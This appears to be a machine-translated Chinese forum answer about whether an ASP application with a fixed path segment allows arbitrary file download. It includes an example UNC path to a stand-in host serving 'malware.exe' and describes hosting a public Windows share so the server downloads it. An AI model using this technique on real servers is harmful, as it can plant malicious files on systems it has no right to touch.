问可能的任意文件下载漏洞

EN

虽然您可能无法访问系统上的文件，但如果您能够让它访问UNC路径，则仍然是一个潜在的漏洞。您可以让服务器下载以下任意文件：

\\evil-server-example.com\Only\Download\From\Here\malware.exe

只需设置一个服务器，与Windows文件共享向互联网开放，与一个公开访问的共享。这将导致文件被下载，虽然它可能不会存储取决于操作系统的配置和您正在处理的代码。如果它是存储的，则很可能位于临时目录中。你以后也许可以利用这一点。

，这不能在实际的ASP源代码文件中注释掉\Only\Download\From\Here\路径，除非存在允许修改服务器上源代码的不同漏洞。

使用CRLF, #等是在实际的ASP代码文件中注释或忽略一小块\Only\Download\From\Here\，这几乎是不可能的。

每次提出请求时，web服务器都会从ASP文件中读取源代码并进行编译。只有将加载到web服务器内存中的代码用于忽略\Only\Download\From\Here\的特定请求，才能实现下载任意文件的目标。

编辑:利用这一点的唯一可能方法是将路径伪装为目录遍历，但这里没有该选项。如果web服务器或windows本身在文件路径处理方面存在任何缺陷，则在此asp代码之外，这将是一个完全不同的漏洞。